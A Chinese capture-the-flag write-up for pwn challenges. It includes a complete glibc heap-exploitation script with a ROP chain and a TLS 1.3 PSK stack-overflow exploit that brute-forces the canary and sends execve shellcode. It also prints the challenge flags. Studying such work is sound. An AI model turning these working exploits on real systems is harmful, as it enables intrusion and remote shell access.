| libc 函数 |
|
| libc 函数 |
|
| exit_group |
|
| ROP gadget |
|
| ROP gadget |
|
| ROP gadget |
|
| 16 字节栈对齐 |
表 2 主要堆布局(H 为 notes chunk 的起始地址,ASLR 随机)
地址(相对 H) | 内容 | 大小 |
|---|---|---|
| notes 数组(calloc 0x120) | 0x130 |
| B(class 0) | 0x500 |
| C(class 0) | 0x500 |
| D(class 0) | 0x500 |
| E(class 0) | 0x500 |
| R'(class-2 split remainder) | 0x120 |
| forward-merge fake chunk | 0xb40 |
几个关键伪造尺寸:B/B1/B2 的 forged size = 0x5e0;C 的 tcache size = 0x101;A 的 size = 0x12f0;V 的 exact-fit size = 0x500;fake next F = 0xb40。
注意:每次 edit 的这次补写都会改变下一个 chunk 的 size 低字节,因此脚本中所有 edit 长度都是按 key 计算过的;不能随意改长度,否则堆布局会偏移。
远程:
python3 solve.py 60.205.209.179 30786本地:
python3 solve.py local 0(需要./key;没有/key时程序会读取当前目录的 key)脚本会自动尝试 8 种有效 key(
key & 0xe),拿到 flag 后打印并退出。实测输出:
flag{f0fd48b7-d2b4-401c-a9ce-c8f3f3ed968a}
完整利用脚本 solve.py(Python 3 + pwntools,自研),包含 key 自适应、堆布局、unsorted attack、ledger 重叠和 ORW ROP:
#!/usr/bin/env python3
# drywell (2026 春秋杯) exploit
#
# Vulnerability: cmd_edit() writes one byte at n->data[n->cap], i.e. the low
# byte of the next physical chunk's size. The written high nibble is
# ((len >> 4) ^ poison_key) & 0xe, where poison_key is a random 4-bit value
# from /key. Views are limited to 8.
#
# Exploit outline (glibc 2.43):
# 1. two "no-merge" forged-size frees leave 0xe0 remainders whose chunk
# headers coincide with live notes' chunk headers; after binning, the
# smallbin links leak libc (bin head) and the heap (previous chunk).
# 2. a class-0 chunk with forged size is freed; its fake next chunk is
# merged forward (valid self fd/bk, now that the heap is known). The
# resulting 0x1120 chunk is split with class 2 to get a 0x1000 note
# overlapping the C and D headers.
# 3. tcache is activated by freeing a forged tiny chunk (otherwise the
# exact-fit path calls tcache_init, whose internal malloc walks the
# corrupted unsorted bin).
# 4. D is freed after we forge its prev_size/prev_inuse through the
# overlapping note; it consolidates back to a fake chunk placed in
# another note's data. A class-1 split puts the remainder exactly on
# notes[7].data.
# 5. the remainder is turned into an exact-fit unsorted-bin victim: the
# removal writes main_arena+8 into notes[7].data -> libc read/write.
# 6. av->top is pointed at the notes ledger and a class-0 malloc returns
# the ledger itself, giving full control of Note structs.
# 7. leak environ, locate main's saved RIP, write an ORW ROP chain and
# exhaust the 256-op budget so main returns into it.
#
# The remote /key is 4 bits and fixed for the container. Only key & 0xe
# matters; the exploit chooses edit lengths so the poisoned nibbles are the
# values the layout expects for a given key guess.
import sys, re, time
from pwn import *
context.arch = 'amd64'
context.log_level = 'error'
# offsets in the supplied libc.so.6 (Ubuntu GLIBC 2.43)
ENVIRON = 0x219de8
START_RET = 0x2a601 # return address inside __libc_start_call_main
OPEN = 0x127990
READ = 0x128150
WRITE = 0x128c10
EXIT = 0xf7180 # _exit
POP_RDI = 0x11b9fa
POP_RSI = 0x5c067
POP_RDX = 0xe84bd # pop rdx ; xor eax,eax ; ret
RET = 0x289fe
class Chal:
def __init__(self, tube):
self.t = tube
self.ncmd = 0
self.t.recvuntil(b'> ')
def send(self, s):
self.ncmd += 1
self.t.send(s)
return self.t.recvuntil(b'> ')
def add(self, c):
return self.send(b'add %d\n' % c)
def free(self, i):
return self.send(b'free %d\n' % i)
def edit(self, i, data):
return self.send(b'edit %d %d\n' % (i, len(data)) + data)
def view(self, i, off):
self.ncmd += 1
self.t.send(b'view %d %d\n' % (i, off))
line = self.t.recvuntil(b'\n')
self.t.recvuntil(b'> ')
m = re.search(rb'([0-9a-f]{16})\n', line)
if not m:
return None
return u64(bytes.fromhex(m.group(1).decode()))
def pay(n, fields):
b = bytearray(n)
for off, val in fields.items():
b[off:off + len(val)] = val
return bytes(b)
def nib_len(desired_nibble, min_len, cap, key):
"""Length whose poison high nibble is desired_nibble.
nibble = ((len >> 4) ^ key) & 0xe
"""
q = desired_nibble ^ (key & 0xe)
n = 0
while 16 * (q + 16 * n) < min_len:
n += 1
ln = 16 * (q + 16 * n)
assert ln <= cap, (hex(ln), hex(cap))
return ln
def exploit(t, key, path=b'/flag'):
c = Chal(t)
# ---------------- Phase 1: two forged frees, libc + heap leak ----------
for cl in [2, 0, 0, 0, 0, 0, 0]:
assert b'ok' in c.add(cl)
# lengths that make the poisoned size nibble 0xe (chunk size 0x5e0)
L1 = nib_len(0xe, 1, 0xff8, key) # forge B1
L3 = nib_len(0xe, 0xe0, 0x4f8, key) # forge B2, and next-in-use flag
L6 = nib_len(0xe, 1, 0x4f8, key) # forge B (phase 2)
c.edit(0, b'A' * L1)
c.edit(2, pay(0xe0, {0xd8: p64(0x501)})) # fake next chunk inside C1
c.edit(3, pay(L3, {0xd8: p64(1)})) # next-in-use for B1
c.free(1); c.add(0) # split B1, leave 0xe0 at C1
c.edit(5, pay(0xe0, {0xd8: p64(0x501)})) # fake next inside C2
c.edit(6, pay(0xe0, {0xd8: p64(1)})) # next-in-use for B2
c.free(4); c.add(0) # split B2, leave 0xe0 at C2
# ---------------- Phase 2: class-2 overlap over C and D ----------------
for _ in range(4): # B, C, D, E
c.add(0)
l1 = c.view(2, 0) # smallbin head -> libc
l2 = c.view(5, 0) # previous chunk -> heap
libc = l1 - 0x212b98
H = l2 - 0x1630
B = H + 0x2f30
C = H + 0x3430
D = H + 0x3930
E = H + 0x3e30
fake = C + 0xe0
F = 0xb40
c.edit(6, b'F' * L6) # forge B to 0x5e0
c.edit(8, pay(0x100, {0xd8: p64(F | 1),
0xe0: p64(fake),
0xe8: p64(fake),
0xf0: p64(0)}))
c.edit(10, pay(0x230, {0x210: p64(F), 0x218: p64(0x500)}))
c.free(7)
c.add(2) # 0x1120 merged, split 0x1000
# N (slot 7) now controls the C and D chunk headers.
# ---------------- Phase 3: activate tcache, then free D ----------------
# C is freed with a forged tiny size; the tcache init internal malloc
# consumes the unsorted remainder R' at B+0x1000 (repair it first).
c.edit(7, pay(0x500, {0x4f0: p64(0), 0x4f8: p64(0x101)}))
c.edit(10, pay(0x100, {0xf0: p64(0), 0xf8: p64(0x121)}))
c.free(8)
# fake chunk A lives in C2's data (slot 5); D is freed back to A
A = H + 0x2640
off = A - (H + 0x2540)
c.edit(5, pay(0x130, {off: p64(0),
off + 8: p64(0x12f0),
off + 0x10: p64(A),
off + 0x18: p64(A),
off + 0x20: p64(0)}))
c.edit(7, pay(0xf00, {0x9f0: p64(0x12f0), 0x9f8: p64(0x500),
0xef0: p64(0), 0xef8: p64(0x501)}))
c.free(9)
c.add(1) # split at notes[7].data
# ---------------- Phase 4: exact-fit unsorted bin attack --------------
T = H + 0x10 + 7 * 0x18 # ¬es[7].data
bck = T - 0x10
unsorted = libc + 0x212ac8
c.edit(7, pay(0x520, {8: p64(0x501),
0x10: p64(unsorted),
0x18: p64(bck),
0x500: p64(0x500),
0x508: p64(0x500)}))
c.add(0) # notes[7].data = main_arena+8
# ---------------- Phase 5: fake top chunk -> ledger overlap ------------
c.edit(0, b'Z' * 0xff8) # notes[0].len = 0xff8
main_arena = libc + 0x212ac0
p = bytearray(0x838)
p[0:8] = p64(H + 0x10) # av->top
p[8:16] = p64(0) # last_remainder
p[0x10:0x18] = p64(unsorted) # unsorted fd
p[0x18:0x20] = p64(unsorted) # unsorted bk
bin68 = main_arena + 0x438 # largebin_index(0x500)=68
p[0x440:0x448] = p64(bin68)
p[0x448:0x450] = p64(bin68)
p[0x810:0x818] = p64(main_arena) # next
p[0x820:0x828] = p64(1) # attached_threads
p[0x828:0x830] = p64(0x21000) # system_mem
p[0x830:0x838] = p64(0x21000) # max_system_mem
c.edit(7, bytes(p))
c.add(0) # ledger note at H+0x20
def set_note1(addr, cap):
c.edit(11, pay(0x20, {8: p64(addr), 0x10: p64(0), 0x18: p64(cap)}))
# ---------------- Phase 6: environ leak + stack ROP --------------------
set_note1(libc + ENVIRON, 8)
env = c.view(1, 0)
S = env - 0x140 # argc == 1
found = False
for k in range(4): # tolerate a few extra argv
set_note1(S - 8 * k, 8)
if c.view(1, 0) == libc + START_RET:
S -= 8 * k
found = True
break
assert found, 'main return address not found'
chain = bytearray(0x100)
off = 0
def q(x):
nonlocal off
chain[off:off + 8] = p64(x)
off += 8
q(libc + RET) # 16-byte stack alignment
q(libc + POP_RDI); q(S + 0xf0) # path
q(libc + POP_RSI); q(0)
q(libc + OPEN)
q(libc + POP_RDI); q(3) # /key was closed -> fd 3
q(libc + POP_RSI); q(S + 0x200) # read buffer
q(libc + POP_RDX); q(0x100)
q(libc + READ)
q(libc + POP_RDI); q(1)
q(libc + POP_RSI); q(S + 0x200)
q(libc + POP_RDX); q(0x100)
q(libc + WRITE)
q(libc + POP_RDI); q(0)
q(libc + EXIT)
chain[0xf0:0xf0 + len(path)] = path
set_note1(S, 0x100)
c.edit(1, bytes(chain))
# exhaust the 256-op budget; main then returns into the chain
need = 256 - c.ncmd
if need > 0:
t.send(b'add 3\n' * need)
t.send(b'add 3\n' * 8)
return t.recvrepeat(3)
def main():
if len(sys.argv) > 1 and sys.argv[1] == 'local':
key = int(sys.argv[2], 0) if len(sys.argv) > 2 else 0
data = exploit(process('./chal'), key, b'./flag.txt')
print(data.decode('latin-1'))
return
host = sys.argv[1] if len(sys.argv) > 1 else '60.205.209.179'
port = int(sys.argv[2]) if len(sys.argv) > 2 else 30786
for key in [0, 2, 4, 6, 8, 10, 12, 14]:
try:
t = remote(host, port, timeout=10)
data = exploit(t, key, b'/flag')
m = re.search(rb'flag{[^}]*}', data)
if m:
print(m.group(0).decode())
return
except Exception as e:
pass
finally:
try:
t.close()
except Exception:
pass
print('failed')
if __name__ == '__main__':
main()flag
flag{f0fd48b7-d2b4-401c-a9ce-c8f3f3ed968a}
考点补充
核心考点:
cmd_edit()在n->data[n->cap]处越界补写的 1 字节只能改动下一 chunk size 的高半字节,受害者正是利用这 4 bit 在同一 0x100 块内把 size 从 0x500 抬到 0x520/0x5e0,配合伪造 next chunk 与 PREV_INUSE 位构造 no-merge free,把 glibc 2.43 的 unsorted/smallbin 与 tcache 初始化路径一起拖入可控状态。关键技巧:用 8 次 view 的预算省出 libc 与 heap 两个泄漏(smallbin head 给 libc、remainder 的 fd 给 heap),再以 class-2 大块覆盖相邻 note 的 chunk header;最后靠 exact-fit 分支写入
bck->fd把notes[7].data改成main_arena+8,并伪造av->top指向 notes 数组拿到任意地址读写。常见坑:glibc 2.43 已无 fastbin,
tcache_init()会在首次 free 时内部调用_int_malloc遍历 unsorted bin,若此时 bin 已被破坏就 abort,所以必须先把 class-2 切出的 remainder R' 修好再 free C;另外 exact-fit 的 V 尺寸必须精确为 0x500,否则unsorted->bk残留会令下一次循环 abort。延伸:同源思路可推广到任何"只在 chunk 边界写 1 字节"的 note 类题目——把写入值当作可控的高半字节去做 size 抬升,配合 unsorted bin attack 与 top chunk 重定向实现 ledger 重叠;ROP 侧则用
environ定位 main 的 saved RIP,注意 16 字节栈对齐与 seccomp 对 open/read/write/exit_group 的放行情况。
easytl
一、题目信息
项目 | 内容 |
|---|---|
题目名称 | easytl |
题目类型 | PWN |
题目地址 | nc 47.105.112.170 1443 |
附件 | easytl、server.crt、server.key |
考察点 | 静态逆向、TLS 1.3 外部 PSK 握手、回调函数栈溢出、canary 爆破、ROP 二段加载 |
题目描述只有一句「一个正常的服务器,快来试试吧」,附件给了服务端程序以及 TLS 证书私钥。私钥在手里,说明要自己实现客户端去连这个 TLS 服务端。
二、程序基本信息
$ readelf -h easytl
Class: ELF64 Type: EXEC (Executable file)
Entry: 0x402c30 Machine: Advanced Micro Devices X86-64
$ readelf -lW easytl
LOAD 0x001000 0x401000 R E 0x42364d
LOAD 0x425000 0x825000 R 0x0e4218
LOAD 0x509588 0x90a588 RW 0x066958
GNU_STACK ... RW <-- 栈不可执行(NX)
$ readelf -d easytl
There is no dynamic section in this file. <-- 静态链接结论:
64 位、非 PIE(代码段固定 0x400000 起,ROP 可直接用绝对地址);
静态链接,绝大部分是 OpenSSL 3.x + glibc,题目自身逻辑位于 0x402d00~0x404455 这一小段;
GNU_STACK 只有 RW,栈不可执行,最终必须走 ROP;
由 _start 可得 main = 0x40445a,程序由 myserver.c 编译而来(rodata 里的字符串可直接证实)。
三、main 与服务端流程
main 很短:socket(AF_INET, SOCK_STREAM, 0) → bind(htonl(0x5a3=1443)) → listen → 进入 0x4035d8 的 accept 循环。
0x4035d8(ctx, fd) 里做了三件事:
accept() 拿连接 fd;
连续三次 fork():父进程 waitpid 后关掉连接的 fd 继续 accept,中间子进程 exit(0),孙进程继续处理这条连接 —— 也就是每条连接都由一个独立的孙进程处理,这正是后面做 canary 爆破的前提(fork 出来的进程栈布局完全一致,canary 恒定);
孙进程 SSL_new / SSL_set_fd / SSL_accept,握手成功后返回 SSL*,交给 0x404347 的命令分发循环。
如果 SSL_accept 失败,会打印错误并 exit(1),连接直接断开。
四、应用层协议
0x404347 循环读取 4 字节小端命令字,再按命令分发:
命令字 | 功能 | 处理函数 | 载荷格式 |
|---|---|---|---|
0x38432a87 | create | 0x4036f1 | key(16) + iv(16) + len(4) + data |
0x6c5a5850 | encrypt | 0x403973 | id(16) |
0x363bbed5 | decrypt | 0x403b3f | id(16) |
0x89954d3e | get | 0x403d65 | id(16) |
0xdc375626 | update | 0x403ed8 | id(16),再读 len(4)+data |
0xd21fef03 | delete | 0x40418f | id(16) |
create 的处理最复杂,逆向出的记录结构如下:
struct record { /* calloc(1, 0x60) */
unsigned char id[16]; /* +0x00 MD5(data) 前 16 字节 */
char pad[8]; /* +0x10 */
struct record *next; /* +0x18 */
unsigned char key[16]; /* +0x20 来自 create 包 */
unsigned char iv[16]; /* +0x38 来自 create 包 */
void *data; /* +0x50 calloc(1, len+0x10) */
int len; /* +0x58 len <= 0x380 且非 0 */
};几个关键点:
记录 id 由服务端自己算:MD5_Init/Update/Final 后 16 字节摘要直接写在 rec 起始处,客户端知道 data 就能算出 id;
encrypt/decrypt 用记录里的 key/iv 做 AES-128-CFB128 就地加解密(AES_set_encrypt_key(key, 0x80, ks),栈上 key schedule 缓冲区只给了 0x80 字节而实际需要 0xB0,但溢出部分正好落在两个栈槽之间的空洞,不影响运行);
记录条数上限为 0x40,超出直接 exit(1);
get 会按 id 找记录并把 rec->data(rec->len 字节)写回客户端;如果 id 命中 rodata 里那 16 字节"魔数"(0x825109),还会额外 fprintf(stderr, "data: %s") —— 正常流程走不到这个分支。
五、三个 TLS 回调
0x4032bb 在初始化 SSL_CTX 时,除证书和私钥外还注册了三个回调:
5.1 psk_find_session_cb(ctx+0x308,函数 0x402dbb)
签名是 int cb(SSL*, const unsigned char *identity, size_t idlen, SSL_SESSION **sess),即 TLS 1.3 的外部 PSK 会话查找回调。它的逻辑:
if (strlen(identity) != 0x20) { *sess = NULL; return 1; }
if (memcmp("1401518dc5d7641ccd41593a5d812410", identity, 0x20)) { *sess = NULL; return 1; }
0x970f48 = 0x20; // 全局:身份长度
0x970f40 = calloc(1, idlen + 0x10); // 全局:身份副本
memcpy(0x970f40, identity, idlen); // 注意:idlen 可变!
blob = OPENSSL_hexstr2buf(0x825060, &len); // 96 个 hex 字符 -> 48 字节
mk = EVP_Q_mac(NULL, "HMAC", NULL, EVP_MD_get0_name(md), NULL,
blob, 48, identity, 0x20, out, EVP_MD_get_size(md), &outlen);
sess = SSL_SESSION_new();
SSL_SESSION_set1_master_key(sess, out, outlen);
SSL_SESSION_set_cipher(sess, SSL_CIPHER_find(ssl, "\x13\x02")); // TLS_AES_256_GCM_SHA384
SSL_SESSION_set_protocol_version(sess, SSL_version(ssl));
*sess = sess;
return 1;客户端把 PSK 身份设成那串硬编码的 32 字符,服务端就会用 rodata 里的 48 字节 hex 和这个身份算出会话主密钥(HMAC-SHA512),双方即可完成 TLS 1.3 外部 PSK 握手。题目给了证书私钥却不要求客户端证书,原因在这里:认证走的是 PSK。
5.2 SNI 回调(SSL_CTRL_SET_TLSEXT_SERVERNAME_CB=53,函数 0x40320a)
name = SSL_get_servername(ssl, 0);
0x970f58 = strlen(name); // 全局:SNI 长度(未做任何上限检查)
0x970f50 = calloc(1, 0x970f58 + 0x10);
memcpy(0x970f50, name, 0x970f58);5.3 info 回调(ctx+0x120,函数 0x4030d5)
if (where & 0x2002) { /* SSL_CB_ACCEPT_LOOP / EXIT */
0x970f60 = 0x970f40 ? 0x970f40 : (0x970f50 ? 0x970f50 : NULL);
if (0x970f48) 0x970f68 = 0x970f48; /* 0x20 */
if (0x970f58) 0x970f68 = 0x970f58; /* 被 SNI 长度覆盖! */
} else if (where & 0x4004) { /* 收到 alert */
err = SSL_get_error(ssl, ret);
if (0x970f40) { /* 有 PSK 身份 */
0x970f60 = 0x970f40;
if (0x970f48 == 0x20) call 0x40304d(); /* 危险函数 */
} else if (0x970f50 && 0x970f58 <= 0x40) {
0x970f60 = 0x970f50; call 0x40304d();
}
write(err, "error", 5);
}六、漏洞定位:0x40304d 的栈溢出
0x40304d: push rbp; mov rbp,rsp; sub rsp,0x60
0x403062: [rbp-0x8] = fs:0x28 ; 栈保护
0x403097: memcpy(rbp-0x60, 0x970f60, 0x970f68) ; dst 只有 0x58 字节
0x4030b9: fprintf(stderr, "%s error\n", rbp-0x60)
0x4030bf: 检查 canary -> leave; ret漏洞出在 memcpy 的长度参数:取的是全局 0x970f68,而它会被 SNI 长度覆盖(分支 0x2002 里没有做 <= 0x40 的检查),目标缓冲区只有 0x58 字节。只要同时满足:
PSK 身份命中硬编码串(0x970f40 非空、0x970f48 == 0x20);
SNI 长度 > 0x58(OpenSSL 对 host_name 上限 255);
服务端收到一个 alert(where == 0x4004);
就会以 SNI 长度为长度,把 PSK 身份那块堆内存拷到 info 回调的栈上,直接冲掉 canary 与返回地址。
而身份副本是 calloc(1, idlen+0x10) 后 memcpy(identity, idlen) 得到的,idlen 由 ClientHello 里 PSK 身份的长度字段决定,与 strlen() 无关 —— 只要身份是 32 个硬编码字符 + "\x00" + 任意二进制,strlen 仍然等于 32(校验通过),而堆块里从第 33 字节开始全是可控数据。于是溢出数据完全可控。
另外,write(err, "error", 5) 里的 fd 恰好是该连接 socket,进程是否存活可以直接从这条 socket 上读出来,后面爆破 canary 就靠它。
七、利用过程
7.1 先打通 TLS 1.3 外部 PSK 握手
服务端只在 PSK 握手成功(binder 校验通过)后才会正常读后续记录,因此必须自己实现客户端。ClientHello 要点:
supported_versions 是 1 字节长度的列表 02 03 04(写成 2 字节长度会直接 alert 50 decode_error);
提供 x25519 key_share、psk_key_exchange_modes = [psk_dhe_ke];
pre_shared_key 必须是最后一个扩展,identities 里放「32 字符 + \x00 + 载荷」;
cipher suite 只给 0x1302(TLS_AES_256_GCM_SHA384),因为服务端伪造 session 时用的就是它。
binder 计算(RFC 8446 §4.2.11.2):
early_secret = HKDF-Extract(salt=0, IKM=PSK)
binder_key = HKDF-Expand-Label(early_secret, "ext binder", Transcript-Hash(""))
finished_key = HKDF-Expand-Label(binder_key, "finished", "")
binder = HMAC(finished_key, Transcript-Hash(ClientHello 截断到 identities 结束))踩坑记录:Derive-Secret(Secret, Label, Messages) 的 context 是 Transcript-Hash(Messages),空消息也要取 SHA384(""),而不是空串。最初写成空 context,binder 一直对不上;用 RFC 8448 的样例 ClientHello 逐字节比对后才定位。
会话主密钥用 Python 直接算:
import hmac, hashlib
BLOB = bytes.fromhex("c8ad2a35c51b87a466e22bc337696f08"
"07ff73500ee154ee71bee86d0b6bc358"
"422a0e90fca2ac1be5929a7be06fd428") # rodata 0x825060
IDENT = b"1401518dc5d7641ccd41593a5d812410"
PSK = hmac.new(BLOB, IDENT, hashlib.sha512).digest()
# 8bd3d02f8ac2e2a063735779b0a2ea980d0baa0831ed9fce8b8125d79af598b5...拿到 PSK 后 ClientHello 一发出,服务端就返回带 00 29(pre_shared_key)扩展的 ServerHello,说明 PSK 握手成功。
7.2 触发溢出并爆破 canary
握手成功后先读掉服务端飞行包(245 字节),紧接着发一条 fatal alert(15 03 03 00 02 02 28),服务端就会进入 info 回调的 0x4004 分支执行那次 memcpy。
先验证判据:短 SNI(不溢出)时,alert 之后 socket 上会收到 5 字节 error;把 SNI 长度改成 0x59 并故意填错 canary 时,进程在 __stack_chk_fail 处 abort,收不到任何数据。于是可以按字节爆破:
def try_canary(prefix):
ident = MAGIC + b"\x00" + b"P"*0x37 + prefix # 0x58 前全部固定
s.sendall(record(22, client_hello(ident, b"S"*len(ident), PSK)))
s.sendall(b"\x15\x03\x03\x00\x02\x02\x28")
return b"error" in recv_all(s) # 存活 -> 该字节正确因为每条连接都是同一个父进程 fork 出来的,canary 恒定,逐字节 256 次即可。最终得到:
canary = 00 6a fe 94 cd 3e c0 e57.3 ROP + 二段 shellcode
溢出长度上限是 SNI 的 255 字节,布局要压紧:
偏移 | 内容 |
|---|---|
0x00 ~ 0x1F | 硬编码身份串(32 字节) |
0x20 | 0x00(保证 strlen == 32) |
0x21 ~ 0x57 | 填充 |
0x58 ~ 0x5F | canary |
0x60 ~ 0x67 | saved rbp(随便填,后面走 ROP 不再用) |
0x68 ~ | ROP 链 |
栈不可执行,所以先 ROP 把 .bss 变成 RWX,再 read 一段 shellcode 过去执行:
mprotect(0x972000, 0x1000, 7) ; 返回 0 == read 的系统调用号,省一个 pop rax
read(4, 0x972000, 0x200)
ret -> 0x972000用到的 gadget(均在 .text,非 PIE 固定地址):
gadget | 地址 |
|---|---|
pop rax; ret | 0x5f6c9a |
pop rdi; ret | 0x4251bd |
pop rsi; ret | 0x5e9a79 |
pop rdx; ret | 0x52f0d2 |
syscall; ret | 0x76e706 |
二段 shellcode 做 dup2(4,0/1/2) + execve("/bin/sh",0,0)。该连接在孙进程里的 socket fd 是 4(可用 write(fd,0x825038,0x20) 遍历 fd 验证),dup2 用 4。
八、完整 EXP
import socket, struct, hashlib, hmac, time, sys
HOST, PORT = "47.105.112.170", 1443
MAGIC = b"1401518dc5d7641ccd41593a5d812410"
BLOB = bytes.fromhex("c8ad2a35c51b87a466e22bc337696f0807ff73500ee154ee71bee86d0b6bc358"
"422a0e90fca2ac1be5929a7be06fd428")
PSK = hmac.new(BLOB, MAGIC, hashlib.sha512).digest() # 服务端伪造的会话主密钥
SOCKFD = 4
POP_RAX, POP_RDI, POP_RSI, POP_RDX = 0x5f6c9a, 0x4251bd, 0x5e9a79, 0x52f0d2
SYSCALL, SCRATCH = 0x76e706, 0x972000
# ---------------- TLS 1.3 PSK ClientHello ----------------
def hkdf_extract(h, salt, ikm):
return hmac.new(salt or b"\x00" * h().digest_size, ikm, h).digest()
def hkdf_expand(h, prk, info, n):
out = t = b""
i = 1
while len(out) < n:
t = hmac.new(prk, t + info + bytes([i]), h).digest()
out += t
i += 1
return out[:n]
def expand_label(h, secret, label, ctx, n):
lab = b"tls13 " + label
info = struct.pack(">H", n) + bytes([len(lab)]) + lab + bytes([len(ctx)]) + ctx
return hkdf_expand(h, secret, info, n)
def compute_binder(psk, truncated, h, label=b"ext binder"):
hl = h().digest_size
early = hkdf_extract(h, b"\x00" * hl, psk)
bk = expand_label(h, early, label, h(b"").digest(), hl) # Derive-Secret:空消息也要哈希
fk = expand_label(h, bk, b"finished", b"", hl)
return hmac.new(fk, h(truncated).digest(), h).digest()
def ext(t, b):
return struct.pack(">HH", t, len(b)) + b
def client_hello(identity, sni, psk):
h = hashlib.sha384
import os
rand, sid, pub = os.urandom(32), os.urandom(32), os.urandom(32)
exts = ext(0, struct.pack(">H", len(sni)+3) + b"\x00" + struct.pack(">H", len(sni)) + sni)
exts += ext(0x000a, struct.pack(">H", 2) + struct.pack(">H", 0x1d))
sigs = [0x0403,0x0503,0x0603,0x0807,0x0804,0x0401,0x0501,0x0601]
exts += ext(0x000d, struct.pack(">H", len(sigs)*2) + b"".join(struct.pack(">H", s) for s in sigs))
exts += ext(0x002b, b"\x02\x03\x04") # supported_versions:1 字节长度
ks = struct.pack(">H", 0x001d) + struct.pack(">H", 32) + pub
exts += ext(0x0033, struct.pack(">H", len(ks)) + ks)
exts += ext(0x002d, b"\x01\x01") # psk_dhe_ke
hl = h().digest_size
ids = struct.pack(">H", len(identity)) + identity + struct.pack(">I", 0)
ph = struct.pack(">H", hl+1) + bytes([hl]) + b"\x00" * hl
exts += ext(0x0029, struct.pack(">H", len(ids)) + ids + ph)
body = b"\x03\x03" + rand + bytes([len(sid)]) + sid
body += struct.pack(">H", 2) + struct.pack(">H", 0x1302) + b"\x01\x00"
body += struct.pack(">H", len(exts)) + exts
hs = b"\x01" + struct.pack(">I", len(body))[1:] + body
trunc = hs[:-len(ph)]
return trunc + struct.pack(">H", hl+1) + bytes([hl]) + compute_binder(psk, trunc, h)
def record(ct, data):
return bytes([ct]) + b"\x03\x01" + struct.pack(">H", len(data)) + data
def try_canary(prefix):
ident = MAGIC + b"\x00" + b"P" * (0x58 - 33) + prefix
try:
s = socket.create_connection((HOST, PORT), timeout=3)
except Exception:
return False
try:
s.sendall(record(22, client_hello(ident, b"S" * len(ident), PSK)))
s.sendall(b"\x15\x03\x03\x00\x02\x02\x28")
buf, dl, first = b"", time.time() + 1.2, None
while time.time() < dl:
s.settimeout(0.35)
try:
d = s.recv(4096)
except socket.timeout:
if buf: break
continue
except Exception:
break
if not d: break
buf += d
if b"error" in buf: return True
if first is None: first = time.time()
elif time.time() - first > 0.15: break
return b"error" in buf
finally:
try: s.close()
except Exception: pass
def brute_canary():
canary = b""
for i in range(8):
for b in range(256):
if try_canary(canary + bytes([b])):
canary += bytes([b]); print("[+] canary:", canary.hex()); break
else:
raise RuntimeError("byte %d not found" % i)
return canary
# ---------------- ROP + shell ----------------
STAGE2 = bytes.fromhex("6a045f31f66a21580f05ffc66a21580f05ffc66a21580f05"
"4831f65648bf2f62696e2f73680057545f6a3b58990f05")
def make_ident(canary, fd=SOCKFD):
chain = [POP_RAX, 10, POP_RDI, SCRATCH, POP_RSI, 0x1000, POP_RDX, 7, SYSCALL,
POP_RDI, fd, POP_RSI, SCRATCH, POP_RDX, 0x200, SYSCALL, SCRATCH]
return MAGIC + b"\x00" + b"P"*(0x58-33) + canary + b"R"*8 + \
b"".join(struct.pack("<Q", v) for v in chain)
def pwn(canary):
s = socket.create_connection((HOST, PORT), timeout=5)
ident = make_ident(canary)
s.sendall(record(22, client_hello(ident, b"S"*len(ident), PSK)))
s.settimeout(1.0); buf = b""
try:
while len(buf) < 245:
d = s.recv(4096)
if not d: break
buf += d; s.settimeout(0.2)
except socket.timeout:
pass
s.sendall(b"\x15\x03\x03\x00\x02\x02\x28") # 触发 info 回调 memcpy
time.sleep(0.3)
s.sendall(STAGE2) # 二段 shellcode 由 read(4,...) 读入
time.sleep(0.4)
return s
def sh(s, cmd, t=1.5):
s.sendall(cmd.encode() + b"\n"); time.sleep(0.5)
out = b""; s.settimeout(t)
try:
while True:
d = s.recv(8192)
if not d: break
out += d; s.settimeout(0.3)
except socket.timeout:
pass
return out.decode(errors="replace")
if __name__ == "__main__":
canary = bytes.fromhex(sys.argv[1]) if len(sys.argv) > 1 else brute_canary()
s = pwn(canary)
print(sh(s, "id"))
print(sh(s, "cat /home/ctf/flag /flag 2>/dev/null"))flag 为:
flag{e17a75032670d5df9a28077b982b0d5d}考点补充
核心考点:本题把 TLS 1.3 外部 PSK 握手的协议细节当成前置条件 —— 必须按 RFC 8446 用硬编码的 48 字节 hex 与 32 字符身份算出 PSK,再用正确的 transcript 哈希算 binder 才能连上。真正的漏洞是 info 回调里 memcpy 的长度 0x970f68 被 SNI 长度覆盖,在没有 <= 0x40 检查的分支把堆上的 PSK 身份按 SNI 长度拷进 0x58 字节的栈缓冲。
关键技巧:服务的 accept 循环连 fork 三次,每条连接都由父进程 fork 出的孙进程处理,栈布局完全一致,因此 canary 恒定、可以逐字节爆破;判据是溢出时进程 abort 收不到
error,未溢出时 alert 后仍会 write 回 5 字节error。身份用「32 字符 + \x00 + 载荷」既通过 strlen 校验又让 idlen 可控,是绕过长度检查的关键。常见坑:Derive-Secret 的 context 必须是 Transcript-Hash(Messages),空消息要取 SHA384("") 而非空串,否则 binder 永远对不上;supported_versions 的列表长度是 1 字节(02 03 04),写成 2 字节会被 alert 50 decode_error;pre_shared_key 必须放在扩展最后,cipher suite 只能是 0x1302。
延伸:溢出只有 255 字节且栈不可执行,只能先 mprotect(0x972000,0x1000,7) 把 .bss 改成 RWX,再读入 dup2+execve 的二段 shellcode;mprotect 返回 0 恰好等于 read 的系统调用号,因此链上可以省一个
pop rax。也可以练习把这条链换成 ret2libc/ORW 以适配不同的静态链接环境。
oldsvr
服务端是一个自定义的 MQTT 风格二进制,从 stdin 读取报文、向 stdout 写回响应,因此可以直接用 socket 连接远端交互。固定头为“类型/标志字节 + remaining length varint”,负载按报文类型解析。CONNECT、SUBSCRIBE、UNSUBSCRIBE、PUBLISH、PINGREQ 等类型均有对应处理函数,订阅列表保存在 .bss 的 14 个 32 字节槽中。
表 1 漏洞链总览
阶段 | 位置/入口 | 作用 |
|---|---|---|
认证绕过 | CONNECT 0x3200 / 0x18f0 | strncmp 在摘要第三字节 0x00 处提前结束 |
堆地址泄漏 | sub_37D8 | free 后回显 payload,泄漏 0x30 块 chunk 头 |
堆溢出 | SUBSCRIBE 0x3e80 | 0xFFFF+1 按 u16 截断为 0,malloc(1) 后 memcpy 272 |
fastbin 注入 | 0x3e80 / malloc(0x40) | 覆盖 V->fd 为 free@GOT-0x10 |
GOT 劫持 | 第二次 class-0x40 SUBSCRIBE | malloc 返回 free@GOT,memcpy 写入 shellcode 地址 |
代码执行 | 主循环 memset | 经 memset@GOT 跳入堆上 shellcode,读取 /flag |
